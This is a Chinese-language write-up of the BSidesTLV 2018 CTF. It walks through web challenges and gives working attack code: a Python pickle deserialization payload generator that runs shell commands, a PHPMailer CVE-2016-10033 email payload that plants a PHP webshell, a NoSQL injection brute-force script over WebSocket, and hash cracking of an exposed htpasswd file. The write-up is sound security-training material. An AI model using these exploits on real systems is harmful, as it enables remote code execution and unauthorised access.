BSidesTLV 2018 CTF WriteUp(附CTF環境)
0×01 前言
BSidesTLV 2018 CTF是2018年6月19日的一次CTF比賽,本來這個WriteUp早就想寫了,但是比賽結束沒環境復現,直到最近發現官方居然放出了比賽環境。
CTF比賽環境下載:
magnet:?xt=urn:btih:849BC74CE4939E40D244F899D693F55AFB1D2FE7 格式:Virtual Machine (Virtualbox - OVA) 系統:Linux CTFD使用者賬戶user:user CTFD Admin 賬戶bsidestlv:bsidestlv Boot2Docker SSH:docker:tcuser
0×02 WriteUp
Redirect me
題目地址: ofollow,noindex" target="_blank">http://challenges.bsidestlv.com:8081
開啟地址我們可以發現頁面在重定向
我們檢視響應內容沒有發現有價值的線索,只知道它一直在重定向,這時我們注意到18.html,那麼flag會不會還在後面呢,我們修改一下。發現果然繼續重定向到37.html,最終在40.html發現了線索。
檢視response內容得到FLAG
IH8emacs
題目地址: http://challenges.bsidestlv.com:8443
開啟題目地址我們可以看到非常華麗的網站
從題目的名稱和描述來看,應該是要先尋找emacs建立的備份檔案。Emacs,著名的整合開發環境和文字編輯器。當使用emacs編輯檔案時,它會在名稱的末尾建立一個帶有波浪號的備份。
我們來嘗試首頁有沒有備份檔案
http://challenges.bsidestlv.com:8443/index.php~
我們找到了一段被註釋的程式碼,往下面翻,發現了被註釋的管理介面地址。
http://challenges.bsidestlv.com:8443/administration/
訪問該頁面,發現需要登入。
我們可能需要去尋找登入憑證
.htaccess~ .htpasswd~
在.htpasswd~中發現登入憑證
使用john破解hash
bsidestlv:performa
複製貼上破解少了個bs,不影響結果,加上就好了。最終登入得到FLAG
Creative Agency
題目地址: http://challenges.bsidestlv.com:3333
描述直接給了flag絕對路徑
在瀏覽網站中我們發現了影象的載入很奇怪
/img?file=ƃdɾ˙1punoɹƃʞɔɐq/ƃɯı/˙
加上描述給我們的絕對路徑,這應該是一個任意檔案讀取漏洞,但是我們需要了解file引數的路徑規律。
ƃdɾ˙2ʞɹoʍ/ƃɯı/˙ 如果我們倒過來看 ./img/work2.jpg
那我們怎麼來顛倒路徑呢,為此我收集了網站上的url路徑。
ƃdɾ˙1punoɹƃʞɔɐq/ƃɯı/˙//background ƃdɾ˙1ʇnoqɐ/ƃɯı/˙//about ƃdɾ˙1osɹǝd/ƃɯı/˙//perso ƃdɾ˙1ɯɐǝʇ/ƃɯı/˙//team ƃdɾ˙1ƃoʃq/ƃɯı/˙//blog ƃud˙ʇʃɐ-oƃoʃ/ƃɯı//logo-alt ƃdɾ˙ʇsod-ƃoʃq/ƃɯı/˙//blog-post ƃdɾ˙ɹoɥʇnɐ/ƃɯı/˙//author /home/bsidestlv/flag.txt ʇxʇ˙ƃɐʃɟ/ʌʃʇsǝpısq/ǝɯoɥ/˙˙
這是一件耗費時間的活
I’m Pickle Rick!
題目地址: http://challenges.bsidestlv.com:8088
訪問題目地址
檢視原始碼,我們發現一段有趣的指令碼
<script> var members; function pickleRick() { $('.pickleimg').fadeIn(1000); anatomyParkMembers("morty"); } function anatomyParkMembers(visitor) { var url = "/getMembers.html"; if (visitor) { url += "?visitor=" + visitor } $.get(url, function (data) { $(".result").html(data); localStorage.setItem("anatomyParkMembers", data); }); } function statusAnatomyParkMembers() { if (localStorage.getItem("anatomyParkMembers") === null) { return false; } // DEFLATE $.getJSON("/statusMembers.html?data=" + localStorage.getItem("anatomyParkMembers"), { format: "json" }).done(function (data) { members = data; }); } </script> <script> $(document).ready(function () { if (localStorage.getItem("anatomyParkMembers") === null) { anatomyParkMembers(); } setInterval(function () { statusAnatomyParkMembers(); }, 10000); }); </script>
背景視訊
<video id="myVideo" autoplay muted style="width: 100%" onended="pickleRick();"> <source src="/static/Untitled.mp4" type="video/mp4"> Your browser does not support the video tag. </video>
看起來很亂,我們先來理一下網站執行流程:
首先網站執行背景視訊,當視訊執行結束後執行onended屬性的pickleRick()函式 pickleRick()函式繼續呼叫anatomyParkMembers()函式,並傳入引數morty anatomyParkMembers()函式拼接了URL /getMembers.html?visitor=morty 然後傳送了一個GET請求到/getMembers.html?visitor=morty 呼叫函式statusAnatomyParkMembers() 我們訪問/getMembers.html?visitor=morty得到結果 eNrTSCkw5ApWL8sszizJLypW5yow4tLIKTDmCsvNLyqp5Cow4UosDlZPzS3Iya9MTQUpMAUpMANqCipNSs0DCphzJQarO%2BblZaYCORYgTkB%2BXnJGPpBnCeIF5aenFgE5hgZghTk5YF2GhkCT9QDJ4iXE
最終呼叫statusAnatomyParkMembers()函式後請求如下:
這樣執行流程就很清楚了
訪問 /getMembers.html 將變數visitor內容新增到json陣列中,以某種方式處理返回了結果。 訪問 /statusMembers.html?data= 獲取打包資料並解壓縮返回json
檢視每個步驟資料包頭,我們可以發現使用了 gzip, deflate
我們嘗試打包命令傳送給/statusMembers.html?data=看看會發生什麼
import zlib import requests import base64 def create_command(cmd, args, flags): mould = """csubprocess check_output (((S'{0}' S'{1}' S'{2}' ltR.""" return base64.b64encode(zlib.compress(mould.format(cmd, args, flags), 9)) targeturl = 'http://challenges.bsidestlv.com:8088/statusMembers.html?data={0}&format=json' r = requests.get(targeturl.format(create_command('ls', '../', '-l'))) print '\n'.join(r.text[1:-1].split('\\n'))
繼續使用cat命令讀取一下flag.txt
r = requests.get(targeturl.format(create_command('cat', '../flag.txt', '-A')))
ContactUs
題目地址: http://challenges.bsidestlv.com:8080
訪問題目地址
通過題目標題可以猜測關鍵點應該在Contact Us功能處,PHP網站+可能傳送郵件的功能
我們嘗試傳送郵件
猜測是CVE-2016-10033,也就是PHPMailer < 5.2.18 遠端程式碼執行漏洞
Name: zusheng Email: "zusheng\" -oQ/tmp/ -X/var/www/cache/phpcode.phpis"@qq.com Message: <?php phpinfo(); ?> 返回內容: You are so close! please change the backdoor location to: /var/www/html/cache/d246b1e461bf.php
我們來修改一下
Name: zusheng Email: "zusheng\" -oQ/tmp/ -X/var/www/html/cache/d246b1e461bf.phpis"@qq.com Message: <?php echo exec('cat $(find / -name flag.txt)'); ?>
提交後我們需要等待一段時間,然後我們就可以訪問/cache/d246b1e461bf.php拿到flag
NoSocket
題目地址: http://challenges.bsidestlv.com:8030/login
開啟題目
檢視原始碼
<script> var ws; var url = 'ws://' + location.hostname + ':8000/login'; function openSocket() { ws = new WebSocket(url); ws.binaryType = 'arraybuffer'; // default is 'blob' ws.onopen = function() { console.log('open'); }; ws.onclose = function() { console.log('close'); }; ws.onmessage = function(e) { if (e.data instanceof ArrayBuffer) { log(decodeCharCode(new Uint8Array(e.data))); } else { log(e.data); } }; ws.onerror = function() { log('error'); closeSocket(); }; } function closeSocket() { log('closing'); ws.close(); } function login() { var data = {};// <- initialize an object, not an array data["username"] = document.getElementById('username').value; data["password"] = document.getElementById('password').value; val = JSON.stringify(data); // {"username":"admin", "password": "admin"} // {"$where": "this.username == '" + username + "' && this.password == '" + password + "'"} ws.send(val); } function decodeCharCode(data) { var res = ''; for (var i = 0, len = data.length; i < len; i++) { var value = data[i]; res += String.fromCharCode(value); } return res; } function log(message) { alert(message) } openSocket() </script>
我們可以看到他的驗證方式,使用admin為使用者名稱,我們嘗試
admin ' || 1 == '1
彈出Success!表明成功啦,題目描述提示我們password就是flag,所以我們需要知道password到底是多少而不是繞過驗證。
admin ' || this.password[0] == 'B
猜測password第一個字元是不是B
我們知道所有flag的格式是BSidesTLV{},那麼接下來就很簡單了
import string from websocket import create_connection def datachar(i): for char in string.printable: password = "' || this.password[%d] == '%s" % (i, char) data = "{\"username\":\"admin\", \"password\": \"%s\"}" % password ws.send(data) response = ws.recv() if "Success!" in response: return char ws = create_connection("ws://challenges.bsidestlv.com:8000/login") response = "" for i in range(10, 30): if datachar(i) is None: break response += datachar(i) print response print'Flag: BSidesTLV{' + response ws.close()
執行結果: